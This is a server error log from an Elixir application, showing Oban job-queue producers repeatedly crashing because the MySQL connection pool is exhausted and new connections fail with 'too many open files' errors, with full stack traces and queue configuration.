State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:52:39.239992Z], limit: 50, uuid: "37beee48-9f42-41f9-a549-65b2f236b1a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:39.239997Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34776>, refresh_timer: #Reference<0.2525715032.1099431938.35726>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:52:39.239306Z], limit: 5, uuid: "13242ae8-2918-4af9-b6ff-4e4ab0d7120c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:39.239312Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34775>, refresh_timer: #Reference<0.2525715032.1099431938.35714>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:52:39.239102Z], limit: 20, uuid: "5e5405bb-a23d-4d1f-b2a1-0f59df216c14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:39.239108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34774>, refresh_timer: #Reference<0.2525715032.1099431938.35702>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:52:39.238526Z], limit: 5, uuid: "e150f63b-a3da-472c-8975-c4482513e87d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:39.238533Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34771>, refresh_timer: #Reference<0.2525715032.1068498948.34736>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:51.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:52:39.238816Z], limit: 10, uuid: "4dfdcb8c-ce99-43ee-a6f3-84ac318d96dc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:39.238822Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34773>, refresh_timer: #Reference<0.2525715032.1121189889.142759>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:52.724000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:53.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:53.887000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:59.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:01.101000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:01.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:52:51.240284Z], limit: 10, uuid: "f0c7adc8-bc30-4a07-9e84-c7a27013d947", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:51.240290Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35093>, refresh_timer: #Reference<0.2525715032.1068498948.35082>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:52:51.238923Z], limit: 5, uuid: "df7ff40a-4813-4504-8bde-f7c5a09b0567", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:51.238929Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35097>, refresh_timer: #Reference<0.2525715032.1099431938.35887>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:52:51.237720Z], limit: 3, uuid: "5d7e637c-6df1-4e48-a724-2fa3f839872d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:51.237726Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35095>, refresh_timer: #Reference<0.2525715032.1121189889.142905>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:52:51.239323Z], limit: 20, uuid: "45302450-e04c-4785-9fd2-7cdbe3142100", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:51.239328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35096>, refresh_timer: #Reference<0.2525715032.1099431938.35892>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
